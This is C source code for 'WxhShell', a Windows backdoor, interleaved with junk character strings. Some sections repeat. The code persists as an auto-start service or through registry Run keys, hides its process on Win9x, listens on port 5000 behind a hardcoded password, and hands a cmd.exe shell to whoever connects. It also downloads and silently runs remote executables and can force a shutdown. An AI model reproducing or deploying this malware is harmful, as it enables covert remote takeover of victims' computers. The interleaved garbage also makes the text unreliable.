"J)3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ds;c\x if(NULL == hInst ) return 0; \<0xg[ c@Q&i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K0C3s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {dXmSuO NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b>x03% crl"Ec if (!NtQueryInformationProcess) return 0; TAp8x =u
3YRqz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ze"m;T if(!hProcess) return 0; +\)a p j`:D BO&)\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i.Z iLDs\7 Y4Y~ep CloseHandle(hProcess); ,4H/>yPw pX?/=T@ Bw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t+Au6/Dx? if(hProcess==NULL) return 0; $L"h|>b\o X;7hy0Y HMODULE hMod; (d>}Fp char procName[255]; _bn
"c@s unsigned long cbNeeded; Z~1uyr( Q:U>nm>xA if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vo>i36 &M{;[O{ CloseHandle(hProcess); &>P<Zw- 2Og<e| if(strstr(procName,"services")) return 1; // 以服务启动 0)rayzv ,{X}C return 0; // 注册表启动 wDDNB1_E } X.+|o@G MFQyB+Z
// 主模块 eI,H int StartWxhshell(LPSTR lpCmdLine) M@+Pq/f: { G j^* SOCKET wsl; K.Tob,5` BOOL val=TRUE; Y.kgJ #2 int port=0; pGd@%/]AO struct sockaddr_in door; nzU;Bi^m (0E<Fz
V if(wscfg.ws_autoins) Install(); 1pAcaJzf '<{Jlz(u9 port=atoi(lpCmdLine); h43py8v Ey=ymf.} if(port<=0) port=wscfg.ws_port; N}>[To3 0.)q5B` WSADATA data; ]=ADX} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #I1q,fm +o?;7 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^?NLA&v< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'xLXj> door.sin_family = AF_INET; l(W?]{C[% door.sin_addr.s_addr = inet_addr("127.0.0.1"); HX)]@qL door.sin_port = htons(port); =X9fn ZZ L@UO>: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <<b]v I closesocket(wsl); \d*ts(/a* return 1; Gu@C*.jj! } c8Q}m(bhWI JfY(};& if(listen(wsl,2) == INVALID_SOCKET) { 9J?lNq closesocket(wsl); `5e{ec
c7 return 1; >bd@2au9! } ?4oP=. Wxhshell(wsl); D(OJr5Gg WSACleanup(); BeN]D J?EDz, return 0; >JAWcT)d o2'Wu:Y" } c&I #4JLWg // 以NT服务方式启动 \Z,{De% VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r<4j;"lQK { |j81?4<)v DWORD status = 0; YYT#{>& DWORD specificError = 0xfffffff; R}cNhZC iPkCuLQ} serviceStatus.dwServiceType = SERVICE_WIN32; YCQ$X serviceStatus.dwCurrentState = SERVICE_START_PENDING; -cijLlz%+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M9afg$;.xe serviceStatus.dwWin32ExitCode = 0; % P Ex serviceStatus.dwServiceSpecificExitCode = 0; ]%y>l j?Y serviceStatus.dwCheckPoint = 0; 6M.|W; serviceStatus.dwWaitHint = 0; ~\AF\n% KPI96P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); El@*Fo if (hServiceStatusHandle==0) return; ;g? |y(xv jw9v&/- status = GetLastError(); hl7 z1h if (status!=NO_ERROR) S1I.l">P { atF#0*e> serviceStatus.dwCurrentState = SERVICE_STOPPED; B~7!v${ serviceStatus.dwCheckPoint = 0; ;Xy=;Z.]i serviceStatus.dwWaitHint = 0; R"9wVM;*c serviceStatus.dwWin32ExitCode = status; fggs
;Le serviceStatus.dwServiceSpecificExitCode = specificError; kaXq. SetServiceStatus(hServiceStatusHandle, &serviceStatus); e).;;0 return; 6[4VbIBSI } AB`.K{h >Rd~-w)!| serviceStatus.dwCurrentState = SERVICE_RUNNING; V^&*y+ serviceStatus.dwCheckPoint = 0; Zi.' V serviceStatus.dwWaitHint = 0; _1&Ar4: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <JH,B91 } XWnP(C9? |Ia9bg'1U // 处理NT服务事件,比如:启动、停止 Jp_#pV*}: VOID WINAPI NTServiceHandler(DWORD fdwControl) O"+0 b| { w\YS5!P,V switch(fdwControl) 5N;'CAk { *
l1*zaE case SERVICE_CONTROL_STOP: M|K^u.4 serviceStatus.dwWin32ExitCode = 0; )\=xPfs serviceStatus.dwCurrentState = SERVICE_STOPPED; U`i5B;k}- serviceStatus.dwCheckPoint = 0; G:":CX"O( serviceStatus.dwWaitHint = 0; &<]f- { robg1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~}}<+ JEEO } LK~aLa5wG return; #%\0][Xf case SERVICE_CONTROL_PAUSE: Qk:Lo*! serviceStatus.dwCurrentState = SERVICE_PAUSED; Td|u@l4B break; _(F-(X| case SERVICE_CONTROL_CONTINUE: 2CO/K_Q serviceStatus.dwCurrentState = SERVICE_RUNNING; >ep<W<b break; QMsq4yJ)% case SERVICE_CONTROL_INTERROGATE: ,UMr_ e{| break; dA~:L`A|X }; %7 bd}sJ# SetServiceStatus(hServiceStatusHandle, &serviceStatus); {fzX2qMZ] } p8~lGuH B#Ybdp ; // 标准应用程序主函数 oQ<[`.s int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k.ou$mIY { FOsd{Fw Nrr})
g // 获取操作系统版本 KFd
+7C9 OsIsNt=GetOsVer(); /GIGE##1F GetModuleFileName(NULL,ExeFile,MAX_PATH); _xaum rF-SvSj} // 从命令行安装 WMf /
S"= if(strpbrk(lpCmdLine,"iI")) Install(); cERIj0~ vPNbV // 下载执行文件 [Y
.8C$0 if(wscfg.ws_downexe) { 5qtk#FB if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @(sz " WinExec(wscfg.ws_filenam,SW_HIDE); ZL6HD n! } 9&eY<'MgP _YF>Y=D- if(!OsIsNt) { NZvgkci_(u // 如果时win9x,隐藏进程并且设置为注册表启动 Trv}YT. HideProc(); T UcFx_ StartWxhshell(lpCmdLine); 8!{*!|Xd } ~v;I>ij else #KJ# 1 if(StartFromService()) */;7Uv7 // 以服务方式启动 @Z~YFnEJi StartServiceCtrlDispatcher(DispatchTable); q`c!!Lg else VhUWws3E // 普通方式启动 9Y:I)^ek StartWxhshell(lpCmdLine); lKf58
mB u5oM;#{@- return 0; 6R n?pe^ } og}Ri!^ X,k^p[Rcu Pao^>rj J\@6YU[A =========================================== ,UY1.tR( 4Hj)Av<O( oP`l)` l)%PvLbL }(nT(9|
H9*k(lnz` " E!9WZY HOP*QX8C% #include <stdio.h> [CJ<$R ! #include <string.h> JsJP%'^/R #include <windows.h> :0J`4 #include <winsock2.h> o}rG:rhIh #include <winsvc.h> ~[ufL25K #include <urlmon.h> 6.D|\;9{c e(0OZ_ w #pragma comment (lib, "Ws2_32.lib") eY<<Hld #pragma comment (lib, "urlmon.lib") \Bo%2O%4 h=#w< @ #define MAX_USER 100 // 最大客户端连接数 Np" p*O #define BUF_SOCK 200 // sock buffer /hl'T'RG #define KEY_BUFF 255 // 输入 buffer E-z5mX.2 TjUwe@&Rw #define REBOOT 0 // 重启 +{:uPY#1 #define SHUTDOWN 1 // 关机 CP7dn/ z?o8h
N\ #define DEF_PORT 5000 // 监听端口 W@d&X+7e @2>UR9j #define REG_LEN 16 // 注册表键长度 %(YQ)=w #define SVC_LEN 80 // NT服务名长度 ? o"
Vkc: =]7o+L4 // 从dll定义API *Al@|5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o2!738 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <z<>E1ZLI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4aXIRu%#7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G2`z?);1b ( /]'e} // wxhshell配置信息 y!FO struct WSCFG { FLi'}C int ws_port; // 监听端口 nfEbu4| char ws_passstr[REG_LEN]; // 口令 y]h0c<NP int ws_autoins; // 安装标记, 1=yes 0=no F1Z'tjj+ char ws_regname[REG_LEN]; // 注册表键名 'PF>#X'' char ws_svcname[REG_LEN]; // 服务名 FZi@h char ws_svcdisp[SVC_LEN]; // 服务显示名 *[si!e% char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?NMk|+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }3#\vn0gT int ws_downexe; // 下载执行标记, 1=yes 0=no sYKx3[ V/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2k.VTGak char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +mocSx[ !Z$d<~Mq q }; 94tfR$W;- QH'*MY // default Wxhshell configuration ^')8-aF
. struct WSCFG wscfg={DEF_PORT, q`<vY'&1 "xuhuanlingzhe", :v^/k]S 1, xM jn=\} "Wxhshell", ]C \+b< "Wxhshell", TQ"XjbhU;X "WxhShell Service", '< Zm>L& "Wrsky Windows CmdShell Service", F^%w%E\ "Please Input Your Password: ", 8V:;HY# 1,
)-2Nc7 "http://www.wrsky.com/wxhshell.exe", YmV/[{ "Wxhshell.exe" J^7m?mA }; F[ E'R.: im>(^{{r& // 消息定义模块 :>&q?xvA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7H Har'=T char *msg_ws_prompt="\n\r? for help\n\r#>"; #T7v]@K67 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y%
iqSY char *msg_ws_ext="\n\rExit."; NW\CEJV char *msg_ws_end="\n\rQuit."; %-n)L char *msg_ws_boot="\n\rReboot..."; l(>6Yq char *msg_ws_poff="\n\rShutdown..."; 07 LyB\l~ char *msg_ws_down="\n\rSave to "; qTuR[( F.vRs|fk char *msg_ws_err="\n\rErr!"; 2
}xePX9? char *msg_ws_ok="\n\rOK!"; r^
r+h[V yT^2;/Z char ExeFile[MAX_PATH]; I5"wa:Z int nUser = 0; H{}&|;0 HANDLE handles[MAX_USER]; K=f4<tP_ int OsIsNt; rNN>tpZ} p(yv SERVICE_STATUS serviceStatus; c9/w{}F SERVICE_STATUS_HANDLE hServiceStatusHandle; YmljHQP !u7KgB<=/F // 函数声明 /H'- }C int Install(void); H!;N0",]N int Uninstall(void); Z`-$b~0 int DownloadFile(char *sURL, SOCKET wsh); 1<!P:@( int Boot(int flag); u&~Xgq5[ void HideProc(void); $0Y`>3 int GetOsVer(void); G$C2?|V)= int Wxhshell(SOCKET wsl); J jAxNviG void TalkWithClient(void *cs); fN2Sio: int CmdShell(SOCKET sock); e:G~P
u` int StartFromService(void); DAw1S$dM int StartWxhshell(LPSTR lpCmdLine); 2s}S9 Qa2h#0j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TuwP'g[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); P& 1$SWNyW lT[,w9 $ // 数据结构和表定义 uEgR>X> SERVICE_TABLE_ENTRY DispatchTable[] = yi8vD~aA[ { )G48,.
" {wscfg.ws_svcname, NTServiceMain}, gJ l^K {NULL, NULL} "%T~d[M }; 19fa7E< {\>4)TA // 自我安装 qGX@mo({ int Install(void) $:u*)&"t| { bidFBldKl char svExeFile[MAX_PATH]; QFnuu-82" HKEY key; i[z 2'tx4 strcpy(svExeFile,ExeFile); *(x.egORd (aYu[ML // 如果是win9x系统,修改注册表设为自启动 9d1km~ if(!OsIsNt) { xh;gAh5n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wH"9N+82M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EC,,l'%a|/ RegCloseKey(key); Y%i<~"k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t'K+)OK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fTEZ@#p RegCloseKey(key); sm18u- return 0; i&DbZ=n2 } DVd8Ix <
} fDr$Wcd~ } WSpF/Wwc else { C2<TR PT 4`?PtRX // 如果是NT以上系统,安装为系统服务 LB@<Q.b,U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r
(m3"Xu6O if (schSCManager!=0) 1tbA-+ { +kWWx#L# SC_HANDLE schService = CreateService 4$^mLD$> ( `:'ciY|%b schSCManager, @*rMMy 4 wscfg.ws_svcname, [w}- )&c wscfg.ws_svcdisp, J>R$K SERVICE_ALL_ACCESS, ET^?>YsA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o"Xv)#g& SERVICE_AUTO_START, Op0*tj2i), SERVICE_ERROR_NORMAL, 0$Tb5+H5 svExeFile, aUL7]'q} NULL, W(s5mX,Kv NULL, =b66H]h? NULL, uWx<J3~q. NULL, i).Vu}W#S NULL .]E"w9~ ); ta95]|z"j if (schService!=0) {zZ)JWM<w { &wDZ@{h CloseServiceHandle(schService); T=/c0#Q|q CloseServiceHandle(schSCManager); -f ? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p7AsNqEp strcat(svExeFile,wscfg.ws_svcname); a6zWg7 PN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5~pxu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %KF I~Qk RegCloseKey(key); !{,2uQXe return 0; Qz=e'H } 'WHI.*= } H6Zo|n CloseServiceHandle(schSCManager); )z&C&Gqz
} 7/M[T\c } ,fiV xn Q Y*b$^C%2 return 1; Q|[^dju } t[;-gi,, R{[v#sF ># // 自我卸载 xjD$i'V+ int Uninstall(void) 4-HBXG9#/ { aAP86MHO HKEY key;
cY+fZ= B4HMs$> if(!OsIsNt) { pFs/ipZX^* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /\qzTo RegDeleteValue(key,wscfg.ws_regname); J>+\a1{ RegCloseKey(key); zk1]? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z(,j)". RegDeleteValue(key,wscfg.ws_regname); 63'%+ RegCloseKey(key); G/~b(V;> return 0; Vo[.^0 } >mtwXmI } Rt,po } ^r<l#D, else { 'A3*[e|OS pm9sI4S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OW6dK#CFt if (schSCManager!=0) 'Sgz\=K { E|oOd<z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NZG
^B/ if (schService!=0) jZ"j_=o@ { i"+TKo- if(DeleteService(schService)!=0) { b%x=7SMXO CloseServiceHandle(schService); 00SS<iX CloseServiceHandle(schSCManager); PYNY1|3 return 0; N/#x } <3ep5` 1 CloseServiceHandle(schService); C2b<is=H: } .i )n1 CloseServiceHandle(schSCManager); 7wY0JS$fz } !K2QD[x } cM<08-:v jrS$!cEo return 1; M@G\b^ " } ?
47"$=G NBBR>3nt // 从指定url下载文件 zFDtC-GF int DownloadFile(char *sURL, SOCKET wsh) X,lhVT
| { x
<aR|r HRESULT hr; MOytxl:R char seps[]= "/"; C]3:&dx9 char *token; 0k_3]Li=( char *file; YUTh*`1k< char myURL[MAX_PATH]; M(C$SB> char myFILE[MAX_PATH]; .h/2-pQ> -2u)orWP strcpy(myURL,sURL); * RX^ z6 token=strtok(myURL,seps); p/l">d]+ while(token!=NULL) >[nR$8_J-l { 0N]\f.=` file=token; {KK/mAp{ token=strtok(NULL,seps); (!efaj } dK8dC1@,X; +~P_o_M GetCurrentDirectory(MAX_PATH,myFILE); tv~Y5e&8 strcat(myFILE, "\\"); ,_<|e\>~ strcat(myFILE, file); C1l'< send(wsh,myFILE,strlen(myFILE),0); amX1idHo^ send(wsh,"...",3,0); Nq6;
z)$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K W
ZEi? if(hr==S_OK) Wl+spWqW return 0; QUZ+#*:s else `PI*\t0 return 1; %] :ZAmN FJKlqM5] } #,1)@[ 1_;{1O+B // 系统电源模块 /?b{*<TK int Boot(int flag) xoGrXt9& { -0]%#(E%`h HANDLE hToken; .LnknjC TOKEN_PRIVILEGES tkp; "(dI/} jY=M{?h'' if(OsIsNt) { %BT]h3dcSS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Wjcr2Wq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( *K)D$y tkp.PrivilegeCount = 1; E'6/@xM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s%>8y\MaK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .N#KW if(flag==REBOOT) { t.
(6tL] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oz&*A/si+3 return 0; ZSD7%gE<D } "3a}~J<g else { ""_G4{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zKaj<Og return 0; D,lY_6= } OjG`s-91& } CBpwtI>p else { ^|hVFM2 if(flag==REBOOT) { 6R$Yh0% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [gZR}E return 0; I36%oA } v9KsE2Ei else { p&)d]oV> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]|=`-)AP3 return 0; FgrVXb_q } ro3%VA=V } M`@AS L:u >El]5M7h7 return 1; hn/yX|4c( } dxH\H?NO Qe4 % A // win9x进程隐藏模块 N^PkSf[)h5 void HideProc(void) SXO.|"M { Qnt9x,1m_ ~ISY( & HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ' u;Zw%O(J if ( hKernel != NULL ) j(K)CHH { njO~^Hl7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "9" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .}Ys+d1b9c FreeLibrary(hKernel); T}29(xz-(h } BIew\N
?$uF(>LD
return; G`Z<a } >}2
,2 ;(;~yB|NZ5 // 获取操作系统版本 #b:YY^{g_ int GetOsVer(void) SD:`l<l { }aI>dHL OSVERSIONINFO winfo; a^E>LJL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R$A%Zh6 GetVersionEx(&winfo); jvD_{r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i "X" -)# return 1; `L[q`r7 else v6[VdWOx5 return 0; a~LdcUYs } kumo%TXB& ja/wI'J< // 客户端句柄模块 9V&+xbR& int Wxhshell(SOCKET wsl) 0=t2|,} { V"2 G SOCKET wsh; GO@<?>K struct sockaddr_in client; v&7<f$5 DWORD myID; Bt5 P][< t%5bDdo while(nUser<MAX_USER) f#m@eb { < 3*q) VT int nSize=sizeof(client); O@W/s!&lFa wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %zRuIDmv if(wsh==INVALID_SOCKET) return 1; e{Vn{.i,5 I>vU;xV\m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T5e#Ll/ if(handles[nUser]==0) }R5EuR m\
closesocket(wsh); 4g}r+!T else !7Qj8YmS nUser++; d)D!np= } "xHK* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iC^G^ ~V+H "rEfhzmyF return 0; BD}%RTeWKq } h8Oj
E$
H D+! S\~u // 关闭 socket ?p 4iXHE void CloseIt(SOCKET wsh) .0gfP4{1{ { gW4fwE^ closesocket(wsh); &+ PVY>q nUser--; :pz@'J ExitThread(0); #Cy3x-! } f\q5{#"z qdKqc,R1{ // 客户端请求句柄 V*(x@pF void TalkWithClient(void *cs) c+T`X?.j { Uam%u $]}K ; SOCKET wsh=(SOCKET)cs; }Y!s:w# char pwd[SVC_LEN]; m$(OQ,E char cmd[KEY_BUFF]; u>agVB4\F char chr[1]; M.Tp)ig\# int i,j; k{b|w') B"#pvJN while (nUser < MAX_USER) { 5WxNH}{ #Yp&yi
} if(wscfg.ws_passstr) { AFvv+
ss if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }U5$~,*p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XkoPN]0n //ZeroMemory(pwd,KEY_BUFF); tSoF!@6 i=0; "cly99t while(i<SVC_LEN) {
t]]Ig (Pw,3CbJ // 设置超时 Oj_F1.
r fd_set FdRead; g+QIhur struct timeval TimeOut; 4^nHq 4_ FD_ZERO(&FdRead); ePv`R'# FD_SET(wsh,&FdRead); b2[U3)|oO TimeOut.tv_sec=8; n<> ^cD TimeOut.tv_usec=0; )8}k.t>'s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |*h{GX.( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i!3*)-a\~` H_x}- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eX}aa0 pwd=chr[0]; t:P]bp^# if(chr[0]==0xd || chr[0]==0xa) { hy%5LV<( pwd=0; F]>+pU
break; QLHEzEvf{/ } gN[t i++; U#iW1jPE2 } 88[u^aC t>*(v#WeZ // 如果是非法用户,关闭 socket 6biR5&Y5U& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ev+H{5W8 } #^9k&t#!6 NYG!\u\Rm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! os@G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QV\af mSZg;7DE3* while(1) { L;{{P7 ]F>#0Rdc ZeroMemory(cmd,KEY_BUFF); 0nB[Udk? }-XZ1qr // 自动支持客户端 telnet标准 ?YV#
K j=0; aE3eYl9u while(j<KEY_BUFF) { ~@X3qja
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DS7L}] cmd[j]=chr[0]; -m>3@"q if(chr[0]==0xa || chr[0]==0xd) { d&Nji%Ej cmd[j]=0; YN<vOv break; >g~IP> } 41+WIa
L j++;
kz6fU\U } Ej6ho 0_ }m5()@Q}a // 下载文件 "XLtrAu{ if(strstr(cmd,"http://")) { ONy\/lu| send(wsh,msg_ws_down,strlen(msg_ws_down),0); )uR_d=B& if(DownloadFile(cmd,wsh)) K`<HZK send(wsh,msg_ws_err,strlen(msg_ws_err),0); vx' ] ; else +_bxza(ma{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5VQ-D`kE+ } =h|cs{eT\2 else { L+
XAbL) PE/uB,Wl switch(cmd[0]) { 7gB?rJHV, 5jwv! L<n // 帮助 S&XlMu case '?': { oz,.gP% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6vps`k$,~ break; Sf.OBU1rs } !7)#aXt& // 安装 )S`[ gK case 'i': { ONDO
xXs if(Install()) '@M"#`#0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); /^\E:(RH else 2QAP$f0Ln send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZnzO] break; BKb#\(95* } [{GN#W|AGP // 卸载 y06**f) case 'r': { /
j%~#@ if(Uninstall()) Is<XMR|{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |j9aTv[` else *V\.6,^v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WcY_w`*L break; JR15y3F } YwF&-~mp7n // 显示 wxhshell 所在路径 p=E#!cn3 case 'p': { r<:d+5" char svExeFile[MAX_PATH]; bolG3Tf| strcpy(svExeFile,"\n\r"); Aaq%'07ihW strcat(svExeFile,ExeFile); GI,TE send(wsh,svExeFile,strlen(svExeFile),0); -vT{D$&1 break; ZS(%!+ M } e`LkCy[_ // 重启 D|m3.si case 'b': { 4'*.3f'bp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hi/d%lNZ if(Boot(REBOOT)) +L.D3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); wuYak"KX else { Y*\h?p[, closesocket(wsh); DbFe;3 ExitThread(0); E0fMFG^P } =SeQ- H# break; 9*K-d'm } N"G\H<n // 关机 Ay 4P_>^ case 'd': { .[1 f$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); js Z"T if(Boot(SHUTDOWN)) ;]m;p,$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,tg]Gt else { h^Yh~84T closesocket(wsh); T8|?mVv s ExitThread(0); 'kC#GTZi } >bQOpGy}l break; '/6f2[%Y" } U/s
Z1u- // 获取shell ED79a: case 's': { A- Abj' CmdShell(wsh); 41Q)w=hoN closesocket(wsh); 26k~Z} ExitThread(0); '/ Hoq break; z;?jKE p } k\T]*A // 退出 ocK4Nxs case 'x': { F*Hovxez send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^lZ7% 6 CloseIt(wsh); YlG#sBzl break; h?OSmzRLd } O|=?!|`o // 离开 _RxnB? case 'q': {
+@f send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hf_
pe closesocket(wsh); OAW_c.)5D WSACleanup(); VWK/(>TP exit(1); &K9RV4M5 break; M!!vr8} } \I4Uj.'>\ } ^b|? ?9& } 2W_[|.;' BxlhCu // 提示信息 .6
0yQ[aE if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;'V[8`Z@ } Viw,YkC } $E^sA|KcT ,%xat`d3,3 return; Lk#)VGk: } fSVM[ v*JKLA // shell模块句柄 ELMz~vp int CmdShell(SOCKET sock) <[}zw!z { (,+#H]L STARTUPINFO si; US9aW)8 ZeroMemory(&si,sizeof(si)); *)^ZUk si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DaHbOs_< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LCA+y1LP-_ PROCESS_INFORMATION ProcessInfo; CW8YNJ' char cmdline[]="cmd"; 7zE1>. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k$J!,!q return 0; gYGoJH1 } fQ!W)>mi >Sk%78={R // 自身启动模式 rZ-< Ryg int StartFromService(void) _]Ob)RUVH { zIS ,N ' typedef struct Bt$,=k { 7iM@BeIf DWORD ExitStatus; [U^Cz{G DWORD PebBaseAddress; $kmY[FWu? DWORD AffinityMask; Tw`dLK? DWORD BasePriority; 2MYez>D ULONG UniqueProcessId; Y|hd!C-x ULONG InheritedFromUniqueProcessId; -:45Q{u/ } PROCESS_BASIC_INFORMATION; x]%,?Vd? |)%H_TXTy PROCNTQSIP NtQueryInformationProcess; KY%qzq,n
:-hVbS0I static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D[6sy`5l static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZDI?"dt{ XA. 1Y) HANDLE hProcess; UM21Cfqex PROCESS_BASIC_INFORMATION pbi; A8S9HXL 0/7.RpX,. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bi@'m?XwJ if(NULL == hInst ) return 0; l>s@&%;Mg z}$.A9yn g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ".( G,TW g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KE5>O1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {]m/15/$C wzoT!-_X if (!NtQueryInformationProcess) return 0; zO$r pg_H' 0R hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); unz~vG1Tn if(!hProcess) return 0; <KCyXU* ( 'dbMH\O if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u%"5<ll *a{WJbau] CloseHandle(hProcess); SXJjagAoML 0blbf@XA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {36N=A if(hProcess==NULL) return 0; -*J!Ws(9 W.D>$R2 HMODULE hMod; gCVOm-*: char procName[255]; p-DHTX unsigned long cbNeeded; pbWjTI $ 8$X3 J[_j 